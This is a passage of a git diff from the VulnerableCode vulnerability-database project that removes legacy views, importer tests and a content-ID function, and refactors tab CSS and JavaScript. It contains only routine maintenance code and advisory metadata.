https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -from datetime import datetime -from unittest import mock - -import pytest - -from vulnerabilities.import_runner import associate_vulnerability_with_aliases -from vulnerabilities.improvers.vulnerability_status import VulnerabilityStatusImprover -from vulnerabilities.models import Advisory -from vulnerabilities.models import Alias -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityStatusType -from vulnerabilities.pipelines.nvd_importer import NVDImporterPipeline -from vulnerabilities.pipes.advisory import get_or_create_aliases - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) - - -TEST_DATA = os.path.join( - BASE_DIR, - "test_data/vulnerability_status_improver", -) - - -@pytest.mark.django_db(transaction=True) -def test_interesting_advisories(): - adv1 = Advisory.objects.create( - unique_content_id="test-unique-content-id", - url="https://test.url/", - created_by=NVDImporterPipeline.pipeline_id, - summary="1", - date_collected=datetime.now(), - ) - adv1.aliases.add(*get_or_create_aliases(["CVE-1"])) - adv2 = Advisory.objects.create( - unique_content_id="test-unique-content-id2", - url="https://test.url/", - created_by=NVDImporterPipeline.pipeline_id, - summary="2", - date_collected=datetime.now(), - ) - adv2.aliases.add(*get_or_create_aliases(["CVE-1"])) - advs = VulnerabilityStatusImprover().interesting_advisories - assert len(list(advs)) == 2 - - -@pytest.mark.django_db(transaction=True) -@mock.patch("vulnerabilities.utils.fetch_response") -def test_improver_end_to_end(mock_response): - response = os.path.join(TEST_DATA, "CVE-2023-35866.json") - mock_response.return_value = response - adv = Advisory.objects.create( - unique_content_id="test-unique-content-id", - url="https://test.url/", - created_by=NVDImporterPipeline.pipeline_id, - summary="1", - date_collected=datetime.now(), - ) - aliases = get_or_create_aliases(aliases=["CVE-2023-35866"]) - adv.aliases.add(*aliases) - v1 = Vulnerability.objects.create(summary="test") - associate_vulnerability_with_aliases(aliases=aliases, vulnerability=v1) - VulnerabilityStatusImprover().get_inferences(advisory_data=adv.to_advisory_data()) - v1 = Vulnerability.objects.get(summary="test") - assert v1.status == VulnerabilityStatusType.DISPUTED diff --git a/vulnerabilities/tests/test_vulnrichment.py b/vulnerabilities/tests/test_vulnrichment.py deleted file mode 100644 index 7c52122ec..000000000 --- a/vulnerabilities/tests/test_vulnrichment.py +++ /dev/null @@ -1,69 +0,0 @@ -import json -import os -from unittest import TestCase - -from vulnerabilities.importers.vulnrichment import parse_cve_advisory -from vulnerabilities.importers.vulnrichment import ssvc_calculator -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/vulnrichment") - - -class TestVulnrichmentImporter(TestCase): - def test_to_advisories1(self): - with open(os.path.join(TEST_DATA, "vulnrichment-data1.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "vulnrichment-data1-expected.json") - imported_data = parse_cve_advisory(mock_response, advisory_url="http://test.com") - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_to_advisorie2(self): - with open(os.path.join(TEST_DATA, "vulnrichment-data2.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "vulnrichment-data2-expected.json") - imported_data = parse_cve_advisory(mock_response, advisory_url="http://test.com") - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_to_advisorie3(self): - with open(os.path.join(TEST_DATA, "vulnrichment-data3.json")) as f: - mock_response = json.load(f) - expected_file = os.path.join(TEST_DATA, "vulnrichment-data3-expected.json") - imported_data = parse_cve_advisory(mock_response, advisory_url="http://test.com") - result = imported_data.to_dict() - util_tests.check_results_against_json(result, expected_file) - - def test_make_ssvc_vector1(self): - assert ssvc_calculator( - { - "id": "CVE-2024-5396", - "role": "CISA Coordinator", - "options": [ - {"Exploitation": "poc"}, - {"Automatable": "no"}, - {"Technical Impact": "partial"}, - ], - "version": "2.0.3", - "timestamp": "2024-05-28T15:58:04.187512Z", - } - ) == ("SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-05-28T15:58:04Z/", "Track") - - def test_make_ssvc_vector2(self): - assert ssvc_calculator( - { - "id": "CVE-2024-5396", - "role": "CISA Coordinator", - "options": [ - {"Exploitation": "active"}, - {"Automatable": "no"}, - {"Technical Impact": "total"}, - {"Mission Prevalence": "Minimal"}, - {"Public Well-being Impact": "Material"}, - {"Mission & Well-being": "medium"}, - ], - "version": "2.0.3", - "timestamp": "2024-05-28T15:58:04.187512Z", - } - ) == ("SSVCv2/E:A/A:N/T:T/P:M/B:A/M:M/D:A/2024-05-28T15:58:04Z/", "Attend") diff --git a/vulnerabilities/tests/test_xen.py b/vulnerabilities/tests/test_xen.py deleted file mode 100644 index 3e5822b1e..000000000 --- a/vulnerabilities/tests/test_xen.py +++ /dev/null @@ -1,29 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os - -from vulnerabilities.importers.xen import XenImporter -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join( - BASE_DIR, - "test_data", -) - - -def test_xen_to_advisories(): - with open(os.path.join(TEST_DATA, "xen_data.json")) as f: - raw_data = json.load(f) - advisories = XenImporter().to_advisories(raw_data) - result = [data.to_dict() for data in advisories] - expected_file = os.path.join(TEST_DATA, f"parse-advisory-xen-expected.json") - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/throttling.py b/vulnerabilities/throttling.py index 4ff5f6b88..4b4f2fdbc 100644 --- a/vulnerabilities/throttling.py +++ b/vulnerabilities/throttling.py @@ -67,6 +67,8 @@ def throttled_exception_handler(exception, context): """ Return this response whenever a request has been throttled """ + # Imported lazily to avoid a circular import with rest_framework.views + # (DEFAULT_THROTTLE_CLASSES loads this module while it is still initializing). from rest_framework.views import exception_handler response = exception_handler(exception, context) diff --git a/vulnerabilities/utils.py b/vulnerabilities/utils.py index a4fe0274f..e42da0139 100644 --- a/vulnerabilities/utils.py +++ b/vulnerabilities/utils.py @@ -643,54 +643,6 @@ def sha256_digest(normalized_data): return hashlib.sha256(normalized_json.encode("utf-8")).hexdigest() -def compute_content_id(advisory_data): - """ - Compute a unique content_id for an advisory by normalizing its data and hashing it. - - :param advisory_data: An AdvisoryData object - :return: SHA-256 hash digest as content_id - """ - - # Normalize fields - from vulnerabilities.importer import AdvisoryData - from vulnerabilities.models import Advisory - - if isinstance(advisory_data, Advisory): - normalized_data = { - "aliases": normalize_list(advisory_data.aliases), - "summary": normalize_text(advisory_data.summary), - "affected_packages": [ - pkg for pkg in normalize_list(advisory_data.affected_packages) if pkg - ], - "references": [ref for ref in normalize_list(advisory_data.references) if ref], - "weaknesses": normalize_list(advisory_data.weaknesses), - } - normalized_data["url"] = advisory_data.url - - elif isinstance(advisory_data, AdvisoryData): - normalized_data = { - "aliases": normalize_list(advisory_data.aliases), - "summary": normalize_text(advisory_data.summary), - "affected_packages": [ - pkg.to_dict() for pkg in normalize_list(advisory_data.affected_packages) if pkg - ], - "references": [ - ref.to_dict() for ref in normalize_list(advisory_data.references) if ref - ], - "weaknesses": normalize_list(advisory_data.weaknesses), - } - - normalized_data["url"] = advisory_data.url - - else: - raise ValueError("Unsupported advisory data type for content ID computation") - - normalized_json = json.dumps(normalized_data, separators=(",", ":"), sort_keys=True) - content_id = hashlib.sha256(normalized_json.encode("utf-8")).hexdigest() - - return content_id - - def compute_content_id_v2(advisory_data): """ Compute a unique content_id for an advisory by normalizing its data and hashing it. diff --git a/vulnerabilities/views.py b/vulnerabilities/views.py index b5ba74214..e16b656c9 100644 --- a/vulnerabilities/views.py +++ b/vulnerabilities/views.py @@ -28,6 +28,7 @@ from django.http import HttpResponse from django.http.response import Http404 from django.shortcuts import get_object_or_404 +from django.shortcuts import redirect from django.shortcuts import render from django.urls import reverse_lazy from django.views import View @@ -39,13 +40,11 @@ from vulnerabilities import models from vulnerabilities.forms import AdminLoginForm -from vulnerabilities.forms import AdvisorySearchForm from vulnerabilities.forms import AdvisoryToDoForm from vulnerabilities.forms import AltchaForm from vulnerabilities.forms import ApiUserCreationForm from vulnerabilities.forms import PackageSearchForm from vulnerabilities.forms import PipelineSchedulePackageForm -from vulnerabilities.forms import VulnerabilitySearchForm from vulnerabilities.models import ISSUE_TYPE_CHOICES from vulnerabilities.models import AdvisorySetMember from vulnerabilities.models import AdvisoryToDoV2 @@ -113,93 +112,6 @@ class VulnerableCodeCreateView(generic.CreateView, VulnerableCodeView): pass -class PackageSearch(VulnerableCodeListView): - model = models.Package - template_name = "packages.html" - ordering = ["type", "namespace", "name", "version"] - paginate_by = PAGE_SIZE - - def get_context_data(self, **kwargs): - context = super().get_context_data(**kwargs) - request_query = self.request.GET - context["package_search_form"] = PackageSearchForm(request_query) - context["search"] = request_query.get("search") - return context - - def get_queryset(self, query=None): - """ - Return a Package queryset for the ``query``. - Make a best effort approach to find matching packages either based - on exact purl, partial purl or just name and namespace. - """ - query = query or self.request.GET.get("search") or "" - return ( - self.model.objects.search(query) - .with_vulnerability_counts() - .prefetch_related() - .order_by("package_url") - ) - - -class VulnerabilitySearch(VulnerableCodeListView): - model = models.Vulnerability - template_name = "vulnerabilities.html" - ordering = ["vulnerability_id"] - paginate_by = PAGE_SIZE - - def get_context_data(self, **kwargs): - context = super().get_context_data(**kwargs) - request_query = self.request.GET - context["vulnerability_search_form"] = VulnerabilitySearchForm(request_query) - context["search"] = request_query.get("search") - return context - - def get_queryset(self, query=None): - query = query or self.request.GET.get("search") or "" - return self.model.objects.search(query=query).with_package_counts() - - -class PackageDetails(VulnerableCodeDetailView): - model = models.Package - template_name = "package_details.html" - slug_url_kwarg = "purl" - slug_field = "purl" - - def get_context_data(self, **kwargs): - context = super().get_context_data(**kwargs) - package = self.object - context["package"] = package - context["affected_by_vulnerabilities"] = package.affected_by.order_by("vulnerability_id") - # Ghost package should not fix any vulnerability. - context["fixing_vulnerabilities"] = ( - None if package.is_ghost else package.fixing.order_by("vulnerability_id") - ) - context["package_search_form"] = PackageSearchForm(self.request.GET) - context["fixed_package_details"] = package.fixed_package_details - - context["history"] = list(package.history) - return context - - def get_object(self, queryset=None): - if queryset is None: - queryset = self.get_queryset() - - purl = self.kwargs.get(self.slug_url_kwarg) - if purl: - queryset = queryset.for_purl(purl) - else: - cls = self.__class__.__name__ - raise AttributeError( - f"Package details view {cls} must be called with a purl, " f"but got: {purl!r}" - ) - - try: - package = queryset.get() - except queryset.model.DoesNotExist: - raise Http404(f"No Package found for purl: {purl}") - return package - - class PackageSearchV2(VulnerableCodeListView): model = models.PackageV2 template_name = "packages_v2.html" @@ -478,110 +390,6 @@ def get_fixed_package_details(package): return fixed_pkg_details -class VulnerabilityDetails(VulnerableCodeDetailView): - model = models.Vulnerability - template_name = "vulnerability_details.html" - slug_url_kwarg = "vulnerability_id" - slug_field = "vulnerability_id" - - def get_queryset(self): - return ( - super() - .get_queryset() - .select_related() - .prefetch_related( - Prefetch( - "references", - queryset=models.VulnerabilityReference.objects.only( - "reference_id", "reference_type", "url" - ), - ), - Prefetch( - "aliases", - queryset=models.Alias.objects.only("alias"), - ), - Prefetch( - "weaknesses", - queryset=models.Weakness.objects.only("cwe_id"), - ), - Prefetch( - "severities", - queryset=models.VulnerabilitySeverity.objects.only( - "scoring_system", "value", "url", "scoring_elements", "published_at" - ), - ), - Prefetch( - "exploits", - queryset=models.Exploit.objects.only( - "data_source", "description", "required_action", "due_date", "notes" - ), - ), - ) - ) - - def get_context_data(self, **kwargs): - """ - Build context with preloaded QuerySets and minimize redundant queries. - """ - context = super().get_context_data(**kwargs) - vulnerability = self.object - - # Pre-fetch and process data in Python instead of the template - weaknesses_present_in_db = [ - weakness_object - for weakness_object in vulnerability.weaknesses.all() - if weakness_object.weakness - ] - - valid_severities = self.object.severities.exclude(scoring_system=EPSS.identifier).filter( - scoring_elements__isnull=False, scoring_system__in=SCORING_SYSTEMS.keys() - ) - - severity_vectors = [] - - for severity in valid_severities: - try: - vector_values_system = SCORING_SYSTEMS[severity.scoring_system] - if not vector_values_system: - logging.error(f"Unknown scoring system: {severity.scoring_system}") - continue - vector_values = vector_values_system.get(severity.scoring_elements) - if vector_values: - severity_vectors.append({"vector": vector_values, "origin": severity.url}) - except ( - CVSS2MalformedError, - CVSS3MalformedError, - CVSS4MalformedError, - NotImplementedError, - ): - logging.error(f"CVSSMalformedError for {severity.scoring_elements}") - - epss_severity = vulnerability.severities.filter(scoring_system="epss").first() - epss_data = None - if epss_severity: - epss_data = { - "percentile": epss_severity.scoring_elements, - "score": epss_severity.value, - "published_at": epss_severity.published_at, - } - - context.update( - { - "vulnerability": vulnerability, - "vulnerability_search_form": VulnerabilitySearchForm(self.request.GET), - "severities": list(vulnerability.severities.all()), - "severity_vectors": severity_vectors, - "references": list(vulnerability.references.all()), - "aliases": list(vulnerability.aliases.all()), - "weaknesses": weaknesses_present_in_db, - "status": vulnerability.get_status_label, - "history": vulnerability.history, - "epss_data": epss_data, - } - ) - return context - - class AdvisoryDetails(VulnerableCodeDetailView): model = models.AdvisoryV2 template_name = "advisory_detail.html" @@ -763,7 +571,6 @@ class HomePage(VulnerableCodeView): def get(self, request): request_query = request.GET context = { - "vulnerability_search_form": VulnerabilitySearchForm(request_query), "package_search_form": PackageSearchForm(request_query), "release_url": f"https://github.com/aboutcode-org/vulnerablecode/releases/tag/v{VULNERABLECODE_VERSION}", } @@ -776,7 +583,6 @@ class HomePageV2(VulnerableCodeView): def get(self, request): request_query = request.GET context = { - "vulnerability_search_form": AdvisorySearchForm(request_query), "package_search_form": PackageSearchForm(request_query), "release_url": f"https://github.com/aboutcode-org/vulnerablecode/releases/tag/v{VULNERABLECODE_VERSION}", } @@ -840,57 +646,6 @@ def get_success_url(self): return reverse_lazy("api_user_request") -class VulnerabilityPackagesDetails(VulnerableCodeDetailView): - """ - View to display all packages affected by or fixing a specific vulnerability. - URL: /vulnerabilities/{vulnerability_id}/packages - """ - - model = models.Vulnerability - template_name = "vulnerability_package_details.html" - slug_url_kwarg = "vulnerability_id" - slug_field = "vulnerability_id" - - def get_queryset(self): - """ - Prefetch and optimize related data to minimize database hits. - """ - return ( - super() - .get_queryset() - .prefetch_related( - Prefetch( - "affecting_packages", - queryset=models.Package.objects.only("type", "namespace", "name", "version"), - ), - Prefetch( - "fixed_by_packages", - queryset=models.Package.objects.only("type", "namespace", "name", "version"), - ), - ) - ) - - def get_context_data(self, **kwargs): - """ - Build context with preloaded QuerySets and minimize redundant queries. - """ - context = super().get_context_data(**kwargs) - vulnerability = self.object - ( - sorted_fixed_by_packages, - sorted_affected_packages, - all_affected_fixed_by_matches, - ) = vulnerability.aggregate_fixed_and_affected_packages() - context.update( - { - "affected_packages": sorted_affected_packages, - "fixed_by_packages": sorted_fixed_by_packages, - "all_affected_fixed_by_matches": all_affected_fixed_by_matches, - } - ) - return context - - class AdvisoryPackagesDetails(VulnerableCodeDetailView): """ View to display all packages affected by or fixing a specific vulnerability. diff --git a/vulnerablecode/static/css/custom.css b/vulnerablecode/static/css/custom.css index 6d8918a8f..1356788c2 100644 --- a/vulnerablecode/static/css/custom.css +++ b/vulnerablecode/static/css/custom.css @@ -105,26 +105,18 @@ code { /* start tabset */ -#tab-content div, -#tab-content div>div { - display: none; -} - -#tab-content div.is-active, -#tab-content div.is-active>div, -#tab-content div.is-active>div>div, -#tab-content div.is-active>div>div>div, -#tab-content div.is-active>div>div>div>div { - display: block; - visibility: visible; -} - -#tab-content div { +#tab-content > .tab-div { + display: none !important; border-bottom: 0; margin-bottom: 50px; padding-bottom: 50px; } +#tab-content > .tab-div.is-active { + display: block !important; + visibility: visible; +} + #tab-content .tab-nested-div { border-bottom: 0; margin-bottom: 0px; @@ -147,8 +139,12 @@ code { margin-right: 0px; } -.tabs.is-boxed li a { +.tabs.is-boxed li a, +.tabs.is-boxed li a:link, +.tabs.is-boxed li a:visited { border-top-width: 3px; + /* Do not use global a:visited blue on tabs after click */ + color: #4a4a4a; } .tabs:not(:last-child) { @@ -161,9 +157,12 @@ code { background-color: #ffffff; border-color: #e8e8e8; border-bottom-color: #3298dc; + color: #4a4a4a; } .tabs.is-boxed li.is-active a, +.tabs.is-boxed li.is-active a:link, +.tabs.is-boxed li.is-active a:visited, .tabs.is-boxed li.is-active a:hover { background-color: white; border-top: solid 3px #3298dc; diff --git a/vulnerablecode/static/js/main.js b/vulnerablecode/static/js/main.js index 902b0f5d9..4f1a37921 100644 --- a/vulnerablecode/static/js/main.js +++ b/vulnerablecode/static/js/main.js @@ -4,24 +4,36 @@ 'use strict'; +function goToTab(tabName) { + const tabsContainer = document.querySelector('div.tabs.is-boxed'); + if (!tabsContainer) return; + + const targetLink = tabsContainer.querySelector(`[data-tab='${tabName}']`); + const targetTabContent = document.querySelector(`[data-content='${tabName}']`); + if (!targetLink || !targetTabContent) return; + + const activeLink = tabsContainer.querySelector('li.is-active'); + const activeTabContent = document.querySelector('div.tab-div.is-active'); + + if (activeLink) activeLink.classList.remove('is-active'); + if (activeTabContent) activeTabContent.classList.remove('is-active'); + + targetLink.classList.add('is-active'); + targetTabContent.classList.add('is-active'); +} + function setupTabs() { - const $tabLinks = getAll('.tabs a'); - - $tabLinks.forEach(function ($el) { - $el.addEventListener('click', function (event) { - const activeLink = document.querySelector('div.tabs.is-boxed li.is-active'); - const activeTabContent = document.querySelector('div.tab-div.is-active'); - - //Get the target id of the clicked tab. - const target_id = $el.parentNode.getAttribute('data-tab') - // ID the target tab content. - const targetTabContent = document.querySelector("[data-content='" + target_id + "']"); - - activeLink.classList.remove('is-active'); - $el.parentNode.classList.add('is-active'); - if (activeTabContent) activeTabContent.classList.remove('is-active'); - if (targetTabContent) targetTabContent.classList.add('is-active'); - }); + const tabsContainer = document.querySelector('div.tabs.is-boxed'); + if (!tabsContainer || tabsContainer.dataset.tabsReady === '1') return; + tabsContainer.dataset.tabsReady = '1'; + + // Delegate from the tab list so clicks on
  • , , or nested all work. + tabsContainer.addEventListener('click', function (event) { + const tabItem = event.target.closest('li[data-tab]'); + if (!tabItem || !tabsContainer.contains(tabItem)) return; + + event.preventDefault(); + goToTab(tabItem.getAttribute('data-tab')); }); } @@ -32,6 +44,8 @@ function getAll(selector) { return Array.prototype.slice.call(parent.querySelectorAll(selector), 0); } -document.addEventListener('DOMContentLoaded', function () { +if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', setupTabs); +} else { setupTabs(); -}); \ No newline at end of file +} diff --git a/vulnerablecode/urls.py b/vulnerablecode/urls.py index 70152b5a5..f54339227 100644 --- a/vulnerablecode/urls.py +++ b/vulnerablecode/urls.py @@ -7,7 +7,6 @@ # See https://aboutcode.org for more information about nexB OSS projects. # -from django.contrib import admin from django.urls import include from django.urls import path from django.urls import re_path